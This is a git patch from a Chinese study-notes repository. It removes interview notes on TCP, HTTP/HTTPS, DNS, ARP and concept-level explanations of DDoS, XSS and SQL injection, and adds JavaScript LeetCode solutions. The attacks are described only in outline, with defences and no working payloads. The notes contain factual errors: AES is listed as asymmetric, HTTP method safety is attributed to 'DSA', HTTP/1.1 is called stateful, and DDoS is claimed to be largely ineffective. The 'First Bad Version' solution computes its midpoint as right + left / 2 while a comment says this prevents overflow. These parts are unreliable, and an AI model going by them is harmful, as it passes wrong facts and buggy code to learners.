主要是配合快重传。当发送方连续收到三个重复确认时,就执行“乘法减小”算法,把ssthresh门限减半(为了预防网络发生拥塞),但接下来并不执行慢开始算法,因为如果网络出现拥塞的话就不会收到好几个重复的确认,收到三个重复确认说明网络状况还可以。 - -### 18. TCP拥塞控制4种算法 - -- **基于丢包的拥塞控制**:将丢包视为出现拥塞,采取缓慢探测的方式,逐渐增大拥塞窗口,当出现丢包时,将拥塞窗口减小,如`Reno`、`Cubic`等。 -- **基于时延的拥塞控制**:将时延增加视为出现拥塞,延时增加时增大拥塞窗口,延时减小时减小拥塞窗口,如`Vegas`、`FastTCP`等。 -- **基于链路容量的拥塞控制**:实时测量网络带宽和时延,认为网络上报文总量大于带宽时延乘积时出现了拥塞,如`BBR`。 -- **基于学习的拥塞控制**:没有特定的拥塞信号,而是借助评价函数,基于训练数据,使用机器学习的方法形成一个控制策略,如`Remy`。 - -## HTTP协议 - -### 1. HTTP协议1.0 1.1 2.0 - -**HTTP1.0:**服务器处理完成后立即断开`TCP`连接(**无连接**),服务器不跟踪每个客户端也不记录过去的请求(**无状态**) - -**HTTP1.1:** `KeepAlived` **长连接**避免了连接建立和释放的开销;通过`Content-Length`来判断当前请求数据是否已经全部接受(**有状态**) - -**HTTP2.0:**引入二进制数据帧和流的概念,其中帧对数据进行顺序标识;因为有了序列,服务器可以**并行**的传输数据。 - ------- - -**无状态的好坏** - -- **无状态的好处**,因为服务器不会去记忆 `HTTP `的状态,所以不需要额外的资源来记录状态信息,这能减 轻服务器的负担,能够把更多的 `CPU `和内存用来对外提供服务。 -- **无状态的坏处**,既然服务器没有记忆能力,这样每操作一次,都要验证信息。例如登录->添加购物车->下单->结算->支付,这系列操作都要知道用户的身份才行。但服务器不知道这些请求是有关联的,每次都要问一遍身份信息。 - -解决无状态的问题,解法方案有很多种,其中比较简单的方式用 `Cookie `和`Session`技术。 - -### 2. HTTP1.0和HTTP1.1的主要区别如下: - -1. **缓存处理**:1.1添加更多的缓存控制策略(如:`Entity tag`,`If-Match`) -2. **网络连接的优化**:1.1支持断点续传 -3. **错误状态码的增多**:1.1新增了24个错误状态响应码,丰富的错误码更加明确各个状态 -4. **Host头处理**:支持`Host`头域,不在以`IP`为请求方标志 -5. **长连接**:减少了建立和关闭连接的消耗和延迟。 - -### 3. HTTP1.1和HTTP2.0的主要区别: - -1. **新的传输格式**:2.0使用二进制格式,1.0依然使用基于文本格式 -2. **多路复用**:连接共享,不同的`request`可以使用同一个连接传输(最后根据每个`request`上的id号组合成正常的请求) -3. **header压缩**:由于1.X中`header`带有大量的信息,并且得重复传输,2.0使用`encoder`来减少需要传输的`hearder`大小 -4. **服务端推送**:同`google`的`SPDUY`(1.0的一种升级)一样 - -### 4. HTTP和 HTTPS的区别: - -1. 最重要的区别就是**安全性**,`HTTP `明文传输,不对数据进行加密安全性较差。`HTTPS `(HTTP + SSL / TLS)的数据传输过程是加密的,安全性较好。 -2. **证书**:使用 `HTTPS `协议需要申请 `CA `证书,一般免费证书较少,因而需要一定费用。证书颁发机构如:`Symantec`、`Comodo `、`DigiCert `和 `GlobalSign `等。 -3. **响应速度**:`HTTP `页面响应速度比 `HTTPS `快,这个很好理解,由于加了一层安全层,建立连接的过程更复杂,也要交换更多的数据,难免影响速度。 -4. **加密**:`HTTP`协议运行在`TCP`(三次握手)之上,所有传输的内容都是明文,`HTTPS`运行在`SSL/TLS`之上,`SSL/TLS`运行在`TCP`之上,所有传输的内容都经过加密的。 -5. **端口不同**:`HTTPS `和 `HTTP `使用的是完全不同的连接方式,用的端口也不一样,前者是 `443`,后者是 `80`。 - -| HTTP | HTTPS | -| :------------------------------- | :------------------------------------- | -| 默认端口80 | 默认端口443 | -| 明文传输、数据未加密、安全性较差 | 传输协议ssl加密、安全性较好 | -| 响应速度快,消耗资源少 | 响应速度慢、消耗资源多,需要用到CA证书 | - -### 5. HTTPS 的缺点: - -1. 在相同网络环境中,`HTTPS `相比 `HTTP `无论是响应时间还是耗电量都有大幅度上升。 -2. `HTTPS `的安全是有范围的,在黑客攻击、服务器劫持等情况下几乎起不到作用。 -3. 在现有的证书机制下,中间人攻击依然有可能发生。 -4. `HTTPS `需要更多的服务器资源,也会导致成本的升高。 - -### 6. HTTPS链接建立的过程: - -1. 首先客户端先给服务器发送一个请求 -2. 服务器发送一个`SSL`证书给客户端,内容包括:证书的发布机构、有效期、所有者、签名以及公钥 -3. 客户端对发来的公钥进行真伪校验,校验为真则使用公钥对对称加密算法以及对称密钥进行加密 -4. 服务器端使用私钥进行解密并使用对称密钥加密确认信息发送给客户端 -5. 随后客户端和服务端就使用对称密钥进行信息传输 - ------- - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111528110.jpeg)加密流程按图中的序号分为: - -1. 客户端请求`HTTPS`网址,然后连接到`server`的443端口(`HTTPS`默认端口,类似于`HTTP`的80端口)。 -2. 采用`HTTPS`协议的服务器必须要有一套数字`CA `(Certification Authority)证书。颁发证书的同时会产生一个私钥和公钥。私钥由服务端自己保存,不可泄漏。公钥则是附带在证书的信息中,可以公开的。证书本身也附带-一个证书电子签名,这个签名用来验证证书的完整性和真实性,可以防止证书被篡改。 -3. 服务器响应客户端请求,将证书传递给客户端,证书包含公钥和大量其他信息,比如证书颁发机构信息,公司信息和证书有效期等。 -4. 客户端解析证书并对其进行验证。如果证书不是可信机构颁布,或者证书中的域名与实际域名不一致,或者证书已经过期,就会向访问者显示一个警告,由其选择是否还要继续通信。如果证书没有问题,客户端就会从服务器证书中取出服务器的公钥A。然后客户端还会生成一一个随机码`KEY`,并使用公钥A将其加密。 -5. 客户端把加密后的随机码`KEY`发送给服务器,作为后面对称加密的密钥。 -6. 服务器在收到随机码`KEY`之后会使用私钥B将其解密。经过以上这些步骤,客户端和服务器终于建立了安全连接,完美解决了对称加密的密钥泄露问题,接下来就可以用对称加密愉快地进行通信了。 -7. 服务器使用密钥(随机码`KEY`)对数据进行对称加密并发送给客户端,客户端使用相同的密钥(随机码`KEY`)解密数据。 -8. 双方使用对称加密愉快地传输所有数据。 - -### 7. HTTP常见响应状态码 - -`100`:Continue 一一 继续。客户端应继续其请求。 - -`200`:OK 一一 请求成功。一 般用于GET与POST请求。 - -`301`:Moved Permanently 一一 永久重定向。 - -`302`:Found 一一 暂时重定向。 - -`400`:Bad Request 一一 客户端请求的语法错误,服务器无法理解。请求没有包含host头 - -`403`:Forbideen 一一 服务器理解请求客户端的请求,但是拒绝执行此请求。禁止客户访问该资源 - -`404`:Not Found 一一 服务器无法根据客户端的请求找到资源(网页)。资源未找到 - -`500`:Internal Server Error 一一 服务器内部错误,无法完成请求。 - -`502`:Bad Gateway 一一 作为网关或者代理服务器尝试执行请求时,从远程服务器接收到了无效的响应。 - -### 8. 状态码301和302的区别是什么? - -`301`为永久重定向,`302`为临时重定向 - -**共同点**: `301`和`302`状态码都表示重定向,就是说浏览器在拿到服务器返回的这个状态码后会自动跳转到一个新的URL地址,这个地址可以从响应的Location首部中获取(用户看到的效果就是他输入的地址A瞬间变成了另一个地址B)。 - -**不同点**: `301`表示旧地址A的资源已经被永久地移除了(这个资源不可访问了),搜索引擎在抓取新内容的同时也将旧的网址交换为重定向之后的网址;`302`表示旧地址A的资源还在(仍然可以访问),这个重定向只是临时地从旧地址A跳转到地址B,搜索引擎会抓取新的内容而保存旧的网址。SEO中`302`好于`301`。 - -补充,重定向原因: - -1. 网站调整(如改变网页目录结构); -2. 网页被移到一个新地址; -3. 网页扩展名改变(如应用需要把.php改成.Html或.shtml)。 - -### 9. 对称加密算法与非对称加密算法的区别 - -**对称加密算法:** - -双方持有相同的密钥,且加密速度快,典型对称加密算法:`DES`、`AES` - -**非对称加密算法:** - -密钥成对出现(私钥、公钥),私钥只有自己知道,不在网络中传输;而公钥可以公开。相比对称加密速度较慢,典型的非对称加密算法有:`AES`、`DSA` - -### 10. HTTP请求方法: - -| 方法 | 描述 | -| :------ | :----------------------------------------------------------- | -| GET | 像特定资源发送请求,查询数据,并返回实体 | -| POST | 向指定资源提交数据进行处理,可能会导致新的资源建立、已有的资源修改 | -| PUT | 向服务器上传新的内容 | -| HEAD | 类似GET请求,返回的响应式中没有具体内容,用于获取报头 | -| DELETE | 请求服务器删除指定标识的资源 | -| OPTIONS | 可以原来向服务器发送请求来测试服务器的功能性 | -| TRACE | 回显服务器收到的请求,用于测试和诊断 | -| CONNECT | HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器 | - -### 11. Get和Post请求区别 - -| | GET | POST | -| :------- | :--------------------------------------------------------- | :---------------------------------------------------- | -| HTTP规范 | GET用于信息获取 | 修改服务器上的资源的请求 | -| 可见性 | 数据在URL中对所有人可见 | 数据不会显示在URL中 | -| 安全性 | 与post相比,get的安全性较差,因为所发送的数据是URL的一部分 | 安全,因为参数不会被保存在浏览器历史或web服务器日志中 | -| 数据长度 | 受限制,最长2kb | 无限制 | -| 编码类型 | application/x-www-form-urlencoded | multipart/form-data | -| 缓存 | 能被缓存 | 不能被缓存 | - -### 12. GET 和 POST 方法都是安全和幂等的吗? - -先说明下安全和幂等的概念: - -- 在 `DSA`协议里,所谓的「安全」是指请求方法不会「破坏」服务器上的资源。 -- 所谓的「幂等」,意思是多次执行相同的操作,结果都是「相同」的。 - -那么很明显 **GET 方法就是安全且幂等的**,因为它是「只读」操作,无论操作多少次,服务器上的数据 都是安全的,且每次的结果都是相同的。 - -`POST `因为是「新增或提交数据」的操作,会修改服务器上的资源,所以是**不安全**的,且多次提交数据 就会创建多个资源,所以**不是幂等**的。 - -### 13. 重定向和转发区别 - -**转发是服务器行为,重定向是客户端行为** - -**重定向:redirect:** - -地址栏发生变化 - -重定向可以访问其他站点(服务器)的资源 - -重定向是两次请求。不能使用request对象来共享数据 - -**转发:forward:** - -转发地址栏路径不变 - -转发只能访问当前服务器下的资源 - -转发是一次请求,可以使用`request`对象共享数据 - -### 14. Cookie和Session区别 - -**Cookie 和 Session都是用来跟踪浏览器用户身份的会话方式**,但两者有所区别: - -`Cookie `数据保存在客户端(浏览器端),`Session `数据保存在服务器端。 - -`cookie`不是很安全,别人可以分析存放在本地的`Cookie`并进行欺骗,考虑到安全应当使用session。 - -`Cookie `⼀般⽤来保存⽤户信息,`Session `的主要作⽤就是通过服务端记录⽤户的状态 - -### 15. 浏览器输入URL过程 - -**过程:**`DNS`解析、`TCP`连接、发送`HTTP`请求、服务器处理请求并返回`HTTP`报文、浏览器渲染、结束 - -1. 域名解析(域名www.baidu.com变为IP地址)。浏览器搜索自己的`DNS`缓存(维护一张域名与IP的对应表); - -2. 1. 若没有,则搜索操作系统的`DNS`缓存(维护一张域名与IP的对应表) ; - 2. 若没有,则搜索操作系统的hosts文件(维护一张域名与IP的对应表)。 - 3. 若都没有,则找TCP/IP参数中设置的首选dns服务器,即本地`DNS`服务器(递归查询),本地域名服务器查询自己的`DNS`缓存,如果没有,则进行迭代查询。将本地dns服务器将IP返回给操作系统,同时缓存IP。 - -3. 发起`TCP`的三次握手,建立`TCP`连接。浏览器会以一个随机端口(1024-65535) 向服务端的web程序80端口发起`TCP`的连接。 - -4. 建立`TCP`连接后发起HTTP请求。 - -5. 服务器响应`HTTP`请求,客户端得到`html`代码。服务器web应用程序收到`HTTP`请求后,就开始处理请求,处理之后就返回给浏览器`html`文件。 - -6. 浏览器解析`html`代码,并请求`html`中的资源。 - -7. 浏览器对页面进行渲染,并呈现给用户。 - ------- - -如何查看 TCP 的连接状态?**TCP 的连接状态查看,在 Linux 可以通过 netstat -napt 命令查看。** - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111528120.jpeg) - -### 16. DNS协议是TCP还是UDP? - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111528118.jpeg) - -- `DNS`占用53号端口,同时使用`TCP`和`UDP`协议。那么`DNS`在什么情况下使用这两种协议? - - **DNS在区域传输的时候使用TCP协议,其他时候使用UDP协议。** - -- - 客户端向`DNS`服务器查询域名,一般返回的内容都不超过512字节,用`UDP`传输即可。不用经过`TCP`三次握手,这样`DNS`服务器负载更低,响应更快。虽然从理论上说,客户端也可以指定向`DNS`服务器查询的时候使用`TCP`,但事实上,很多`DNS`服务器进行配置的时候,仅支持`UDP`查询包。 - - 辅域名服务器会定时(一般3小时)向主域名服务器进行查询以便了解数据是否有变动。如有变动,会执行一次区域传送,进行数据同步。区域传送使用`TCP`而不是`UDP`,因为数据同步传送的数据量比一个请求应答的数据量要多得多。 - - `TCP`是一种可靠连接,保证了数据的准确性。 - - **DNS区域传输的时候使用TCP协议:** - - **域名解析时使用UDP协议:** - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111528245.jpeg) - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111528146.jpeg) - -### 17. ARP协议如何找到对应IP地址和mac的映射的 - -简单地说,`ARP` 是借助 `ARP` 请求与 `ARP` 响应两种类型的包确定 `MAC` 地址的。 - -- 主机会通过广播发送 `ARP` 请求,这个包中包含了想要知道的 `MAC` 地址的主机 IP 地址。 -- 当同个链路中的所有设备收到 `ARP` 请求时,会去拆开 `ARP` 请求包里的内容,如果 `ARP` 请求包中 的目标 IP 地址与自己的 IP 地址一致,那么这个设备就将自己的 MAC 地址塞入 `ARP` 响应包返回 给主机。 - -操作系统通常会把第一次通过 `ARP` 获取的 `MAC` 地址缓存起来,以便下次直接从缓存中找到对应 IP 地 址的 `MAC` 地址。不过, `MAC` 地址的缓存是有一定期限的,超过这个期限,缓存的内容将被清除 - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111528376.jpeg) - -### 18. RARP 协议你知道是什么吗? - -ARP 协议是已知 IP 地址求 `MAC` 地址,那 `RARP` 协议正好相反,它是已知 `MAC`地址求 IP 地址。例如 将打印机服务器等小型嵌入式设备接入到网络时就经常会用得到。 - -通常这需要架设一台 `RARP` 服务器,在这个服务器上注册设备的 `MAC` 地址及其 IP 地址。然后再将 这个设备接入到网络,接着: - -- 该设备会发送一条「我的 `MAC` 地址是XXXX,请告诉我,我的IP地址应该是什么」的请求信息。 -- `RARP` 服务器接到这个消息后返回「 `MAC`地址为 XXXX 的设备,IP地址为 XXXX」的信息给这个 设备。 - -最后,设备就根据从 `RARP` 服务器所收到的应答信息设置自己的 IP 地址 - -![图片](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204111528489.jpeg) - -### 19. 什么是DDos攻击? - -`DDos`全称Distributed Denial of Service,分布式拒绝服务攻击。最基本的DOS攻击过程如下: - -1. 客户端向服务端发送请求链接数据包。 -2. 服务端向客户端发送确认数据包。 -3. 客户端不向服务端发送确认数据包,服务器一直等待来自客户端的确认 - -`DDos`则是采用分布式的方法,通过在网络上占领多台“肉鸡”,用多台计算机发起攻击。 - -`DDos`攻击现在基本没啥作用了,因为服务器的性能都很好,而且是多台服务器共同作用,1V1的模式黑客无法占上风。对于`DDos`攻击,预防方法有: - -- 减少SYN timeout时间。在握手的第三步,服务器会等待30秒-120秒的时间,减少这个等待时间就能释放更多的资源。 -- 限制同时打开的SYN半连接数目。 - -### 20. 什么是XSS攻击? - -XSS也称cross-sitescripting,跨站脚本。这种攻击是由于服务器将攻击者存储的数据原原本本地显示给其他用户所致的。比如一个存在XSS漏洞的论坛,用户发帖时就可以引入带有< script>标签的代码,导致恶意代码的执行。 - -预防措施有: - -- 前端:过滤。 -- 后端:转义,比如go自带的处理器就具有转义功能。 - -### 21. SQL注入是什么,如何避免SQL注入? - -`SQL`注入就是在用户输入的字符串中加入`SQL`语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的`SQL`语句就会被数据库服务器误认为是正常的`SQL`语句而运行,攻击者就可以执行计划外的命令或访问未被授权的数据。 - -`SQL`注入的原理主要有以下4点: - -1. 恶意拼接查询 -2. 利用注释执行非法命令 -3. 传入非法参数 -4. 添加额外条件 - -避免`SQL`注入的一些方法: - -1. 参数校验:在一些不该有特殊字符的参数中提前进行特殊字符校验即可。 -2. 限制数据库权限,给用户提供仅仅能够满足其工作的最低权限。 -3. 提供参数化查询接口,不要直接使用原生`SQL`。 -4. **SQL预编译** - -在知道了`SQL`注入的原理之后,我们同样也了解到`MySQL`有预编译的功能,指的是在服务器启动时,`MySQL` Client把`SQL`语句的模板(变量采用占位符进行占位)发送给`MySQL`服务器,`MySQL`服务器对`SQL`语句的模板进行编译,编译之后根据语句的优化分析对相应的索引进行优化,在最终绑定参数时把相应的参数传送给`MySQL`服务器,直接进行执行,节省了`SQL`查询时间,以及`MySQL`服务器的资源,达到一次编译、多次执行的目的,除此之外,还可以防止SQL注入。 - -具体是怎样防止`SQL`注入的呢?实际上当将绑定的参数传到`MySQL`服务器,`MySQL`服务器对参数进行编译,即填充到相应的占位符的过程中,做了转义操作。我们常用的JDBC就有预编译功能,不仅提升性能,而且防止`SQL`注入。 - -### 22. 网络编程socket,客户端和服务端通信过程,分别调用了哪些函数,作用是什么 - -- 服务器端程序: - -- 1. 创建一个`socket`,用函数`socket()` - 2. 绑定IP地址、端口等信息到`socket`上,用函数`bind()` - 3. 设置允许的最大连接数,用函数`listen()` - 4. 接收客户端上来的连接,用函数`accept()` - 5. 收发数据,用函数`send()`和`recv()`,或者`read()`和`write()` - 6. 关闭网络连接 - -- 客户端程序: - -- 1. 创建一个`socket`,用函数`socket()` - 2. 设置要连接的对方的IP地址和端口等属性 - 3. 连接服务器,用函数`connect()` - 4. 收发数据,用函数`send()`和`recv()`,或`read()`和`write()` - 5. 关闭网络连接 - -### 23. 负载均衡算法有哪些? - -nginx负载均衡的三种方式主要是**轮询模式、weight权重模式、ip_hash**。 - -当一台服务器的单位时间内的访问量越大时,服务器压力就越大,大到超过自身承受能力时,服务器就会崩溃。为了避免服务器崩溃,让用户有更好的体验,我们通过负载均衡的方式来分担服务器压力。 - -1. **轮询模式(默认)**每个请求按时间顺序逐一分配到不同的后端服务器,如果后端服务器down掉,能自动剔除。适合服务器配置相当,无状态且短平快的服务使用。也适用于图片服务器集群和纯静态页面服务器集群。 - -2. **weight权重模式**这种方式比较灵活,当后端服务器性能存在差异的时候,通过配置权重,可以让服务器的性能得到充分发挥,有效利用资源。weight和访问比率成正比,用于后端服务器性能不均的情况。权重越高,在被访问的概率越大 - -3. **ip_hash**上述weight权重模式方式存在一个问题,在负载均衡系统中,假如用户在某台服务器上登录了,那么该用户第二次请求的时候,因为我们是负载均衡系统,每次请求都会重新定位到服务器集群中的某一个,那么已经登录某一个服务器的用户再重新定位到另一个服务器,其登录信息将会丢失,这样显然是不妥的。 - - 可以采用ip_hash指令解决这个问题,如果客户已经访问了某个服务器,当用户再次访问时,会将该请求通过哈希算法,自动定位到该服务器。每个请求按访问IP的hash结果分配,这样每个访客固定访问一个后端服务器,可以解决session不能跨服务器的问题。 - - - From 6ca690dcd941fb0e0064056bb7278bb876667c0d Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Tue, 11 Jul 2023 01:26:08 +0800 Subject: [PATCH 04/26] =?UTF-8?q?docs:=20=E2=9C=8F=EF=B8=8F=20=E5=88=B7?= =?UTF-8?q?=E9=A2=98=E7=AC=94=E8=AE=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...01\344\270\232\351\242\230\345\272\223.md" | 585 +++++++ ...op\357\274\210\344\270\200\357\274\211.md" | 1426 +++++++++++++++++ ...op\357\274\210\344\270\211\357\274\211.md" | 645 ++++++++ ...op\357\274\210\344\272\214\357\274\211.md" | 552 +++++++ .../\345\277\253\346\211\213CodeTop.md" | 234 +++ ...213\274\345\244\232\345\244\232CodeTop.md" | 309 ++++ .../\347\276\216\345\233\242CodeTop.md" | 325 ++++ .../\350\205\276\350\256\257 CodeTop.md" | 724 +++++++++ ...76\345\272\246\345\210\267\351\242\230.md" | 131 ++ ...11\351\242\230\345\210\267\351\242\230.md" | 585 +++++++ 10 files changed, 5516 insertions(+) create mode 100644 "src/\345\210\267\351\242\230/Leetcode/codeTop/Leetcode \344\274\201\344\270\232\351\242\230\345\272\223.md" create mode 100644 "src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\270\200\357\274\211.md" create mode 100644 "src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\270\211\357\274\211.md" create mode 100644 "src/\345\210\267\351\242\230/Leetcode/codeTop/\345\255\227\350\212\202\350\267\263\345\212\250CodeTop\357\274\210\344\272\214\357\274\211.md" create mode 100644 "src/\345\210\267\351\242\230/Leetcode/codeTop/\345\277\253\346\211\213CodeTop.md" create mode 100644 "src/\345\210\267\351\242\230/Leetcode/codeTop/\346\213\274\345\244\232\345\244\232CodeTop.md" create mode 100644 "src/\345\210\267\351\242\230/Leetcode/codeTop/\347\276\216\345\233\242CodeTop.md" create mode 100644 "src/\345\210\267\351\242\230/Leetcode/codeTop/\350\205\276\350\256\257 CodeTop.md" create mode 100644 "src/\345\210\267\351\242\230/Leetcode/\344\270\255\347\255\211\351\242\230/codetop \344\270\255\347\255\211\351\232\276\345\272\246\345\210\267\351\242\230.md" create mode 100644 "src/\345\210\267\351\242\230/Leetcode/\344\270\255\347\255\211\351\242\230/\344\270\255\347\255\211\351\242\230\345\210\267\351\242\230.md" diff --git "a/src/\345\210\267\351\242\230/Leetcode/codeTop/Leetcode \344\274\201\344\270\232\351\242\230\345\272\223.md" "b/src/\345\210\267\351\242\230/Leetcode/codeTop/Leetcode \344\274\201\344\270\232\351\242\230\345\272\223.md" new file mode 100644 index 00000000..73d60eac --- /dev/null +++ "b/src/\345\210\267\351\242\230/Leetcode/codeTop/Leetcode \344\274\201\344\270\232\351\242\230\345\272\223.md" @@ -0,0 +1,585 @@ +# Leetcode 企业题库 + +#### [13. 罗马数字转整数](https://leetcode-cn.com/problems/roman-to-integer/) + +```js +var romanToInt = function (s) { + const symbolValues = new Map([ + ['I', 1], + ['V', 5], + ['X', 10], + ['L', 50], + ['C', 100], + ['D', 500], + ['M', 1000], + ]); + // 亦可使用对象 + let ans = 0; + const n = s.length; + for (let i = 0; i < n; ++i) { + const value = symbolValues.get(s[i]); + if (i < n - 1 && value < symbolValues.get(s[i + 1])) { + ans -= value; + } else { + ans += value; + } + } + return ans; +}; +``` + +#### [21. 合并两个有序链表](https://leetcode-cn.com/problems/merge-two-sorted-lists/) + +> 双指针迭代吧 + +```js +var mergeTwoLists = function(l1, l2) { + const prehead = new ListNode(-1); + + let prev = prehead; + while (l1 != null && l2 != null) { + if (l1.val <= l2.val) { + prev.next = l1; + l1 = l1.next; + } else { + prev.next = l2; + l2 = l2.next; + } + prev = prev.next; + } + + // 合并后 l1 和 l2 最多只有一个还未被合并完,我们直接将链表末尾指向未合并完的链表即可 + prev.next = l1 === null ? l2 : l1; + + return prehead.next; +}; +``` + +#### [118. 杨辉三角](https://leetcode-cn.com/problems/pascals-triangle/) + +```js +var generate = function(numRows) { + const ret = []; // 三角 + + for (let i = 0; i < numRows; i++) { + const row = new Array(i + 1).fill(1); // 自动生成行数 + for (let j = 1; j < row.length - 1; j++) { + row[j] = ret[i - 1][j - 1] + ret[i - 1][j]; + } + ret.push(row); + } + return ret; +}; +``` + +#### [171. Excel 表列序号](https://leetcode-cn.com/problems/excel-sheet-column-number/) + +```js +var titleToNumber = function (columnTitle) { + let res = 0; + for (let i = 0; i < columnTitle.length; i++) { + let num = columnTitle.charCodeAt(i) - 'A'.charCodeAt(0) + 1; + res += num * (26 ** (columnTitle.length - i - 1)) + } + return res; +}; +``` + +#### [202. 快乐数](https://leetcode-cn.com/problems/happy-number/) + +> 可能出现无限循环的情况 +> +> 首先分析一下无限循环是什么情况,刚好刷过了循环链表的题,很简单就可以理解无限循环肯定是部分情况一直转圈,类似 +> 2 4 16 37 58 89 145 42 20 => 4 16 ... +> 所有解法完全可以搬运循环链表问题 +> +> hash 存储出现过的数字,如果有重复的就证明死循环了 +> 快慢指针,如果一个指针步长为 1,另一个步长为 2,在一个圈子里转,那么两个指针早晚会遇到,如果不在一个圈子里,肯定不会遇到 + +```js +var isHappy = function (n) { + const set = new Set(); + while (n !== 1) { + if (set.has(n)) return false + set.add(n) + n = n.toString().split('').reduce((l, i) => l + i * i, 0) + } + return true +}; +``` + +> 快慢指针 + +```js +let getNext = function (n) { + return n.toString().split('').map(i => i ** 2).reduce((a, b) => a + b); +} +let isHappy = function (n) { + let slow = n; + let fast = getNext(n); + while(fast !== 1 && fast !== slow){ + slow = getNext(slow); + fast = getNext(getNext(fast)); + } + return fast === 1; +}; +``` + +#### [237. 删除链表中的节点](https://leetcode-cn.com/problems/delete-node-in-a-linked-list/) + +> 和儿子交换,然后杀了(没得指向了) + +```js +var deleteNode = function(node) { + node.val = node.next.val; + node.next = node.next.next; +}; +``` + +#### [326. 3 的幂](https://leetcode-cn.com/problems/power-of-three/) + +```js +/** + * @param {number} n + * @return {boolean} + */ +var isPowerOfThree = function(n) { + while (n !== 0 && n % 3 === 0) { + n = n / 3; + } + return n === 1; +}; +``` + +#### [268. 丢失的数字](https://leetcode-cn.com/problems/missing-number/) + +```js +/** + * @param {number[]} nums + * @return {number} + */ +var missingNumber = function (nums) { + nums.sort((a, b) => a - b); + let res = nums[0] ? 0 : nums[nums.length - 1] + 1; + nums.forEach((val, index) => { + if (index < nums.length - 1 && (++val) !== nums[index + 1]) { + res = val; + } + }) + return res; +}; +``` + +#### [412. Fizz Buzz](https://leetcode-cn.com/problems/fizz-buzz/) + +```js +/** + * @param {number} n + * @return {string[]} + */ +var fizzBuzz = function (n) { + const res = []; + for (let i = 1; i <= n; i++) { + if (i % 3 === 0 && i % 5 === 0) { + res.push('FizzBuzz'); + } else if (i % 3 === 0) { + res.push('Fizz') + } else if (i % 5 === 0) { + res.push('Buzz') + } else { + res.push(i.toString()) + } + } + return res; +}; +``` + +#### [278. 第一个错误的版本](https://leetcode-cn.com/problems/first-bad-version/) + +> 二分查找 + +```js +/** + * Definition for isBadVersion() + * + * @param {integer} version number + * @return {boolean} whether the version is bad + * isBadVersion = function(version) { + * ... + * }; + */ + +/** + * @param {function} isBadVersion() + * @return {function} + */ +var solution = function(isBadVersion) { + return function(n) { + let left = 1, right = n; + while (left < right) { // 循环直至区间左右端点相同 + const mid = Math.floor( right + left / 2); // 防止计算时溢出 + if (isBadVersion(mid)) { + right = mid; // 答案在区间 [left, mid] 中之后的为错误版本 + } else { + left = mid + 1; // 答案在区间 [mid+1, right] 中 + } + } + // 此时有 left == right,区间缩为一个点,即为答案 + return left; + }; +}; +``` + +#### [剑指 Offer 24. 反转链表](https://leetcode-cn.com/problems/fan-zhuan-lian-biao-lcof/) + +> 暂存下一节点,前驱节点和当前节点 + +```js +var reverseList = function(head) { + let prev = null; + let curr = head; + while (curr) { + const next = curr.next; + curr.next = prev; + prev = curr; + curr = next; // 下移 + } + return prev; +}; +``` + +#### [剑指 Offer 30. 包含min函数的栈](https://leetcode-cn.com/problems/bao-han-minhan-shu-de-zhan-lcof/) + +```js +var MinStack = function() { + this.x_stack = []; + this.min_stack = [Infinity]; +}; + +MinStack.prototype.push = function(x) { + this.x_stack.push(x); + this.min_stack.push(Math.min(this.min_stack[this.min_stack.length - 1], x)); +}; + +MinStack.prototype.pop = function() { + this.x_stack.pop(); + this.min_stack.pop(); +}; + +MinStack.prototype.top = function() { + return this.x_stack[this.x_stack.length - 1]; +}; + +MinStack.prototype.min = function() { + return this.min_stack[this.min_stack.length - 1]; +}; +``` + +#### [434. 字符串中的单词数](https://leetcode-cn.com/problems/number-of-segments-in-a-string/) + +```js +var countSegments = function(s) { + let segmentCount = 0; + + for (let i = 0; i < s.length; i++) { + if ((i === 0 || s[i - 1] === ' ') && s[i] !== ' ') { // 确定为每个单词的开始且不为空 + segmentCount++; + } + } + + return segmentCount; +}; +``` + +#### [575. 分糖果](https://leetcode-cn.com/problems/distribute-candies/) + +```js +/** + * @param {number[]} candyType + * @return {number} + */ +var distributeCandies = function (candyType) { + const type = {count: 0}; + candyType.forEach(val => { + if (!type[val]) { + type[val] = true; + type.count++; + } + }) + return type.count < candyType.length / 2 ? type.count : candyType.length / 2; +}; +``` + +#### [27. 移除元素](https://leetcode-cn.com/problems/remove-element/) + +```js +/** + * @param {number[]} nums + * @param {number} val + * @return {number} + */ +var removeElement = function(nums, val) { + let left = 0, right = nums.length; + while (left < right) { + if (nums[left] === val) { + nums[left] = nums[right - 1]; + right--; + } else { + left++; + } + } + return left; +}; +``` + +#### [594. 最长和谐子序列](https://leetcode-cn.com/problems/longest-harmonious-subsequence/) + +```js +/** + * @param {number[]} nums + * @return {number} + */ +var findLHS = function(nums) { + const cnt = new Map(); + let res = 0; + for (const num of nums) { + cnt.set(num, (cnt.get(num) || 0) + 1); + } + for (const key of cnt.keys()) { + if (cnt.has(key + 1)) { + res = Math.max(res, cnt.get(key) + cnt.get(key + 1)); + } + } + return res; +}; +``` + +#### [605. 种花问题](https://leetcode-cn.com/problems/can-place-flowers/) + +```js +/** + * @param {number[]} flowerbed + * @param {number} n + * @return {boolean} + */ +var canPlaceFlowers = function (flowerbed, n) { + let count = 0 + for (let i = 0, length = flowerbed.length; i < length; i++) { + //当前位置是0,并且前后都不是1,考虑在最前和最后的特殊情况 + if (flowerbed[i] === 0 && flowerbed[i - 1] !== 1 && flowerbed[i + 1] !== 1) { + count++ + i++ + } + } + return count >= n +}; +``` + +#### [235. 二叉搜索树的最近公共祖先](https://leetcode-cn.com/problems/lowest-common-ancestor-of-a-binary-search-tree/) + +- 二叉搜索树性质决定了:如果 p.val 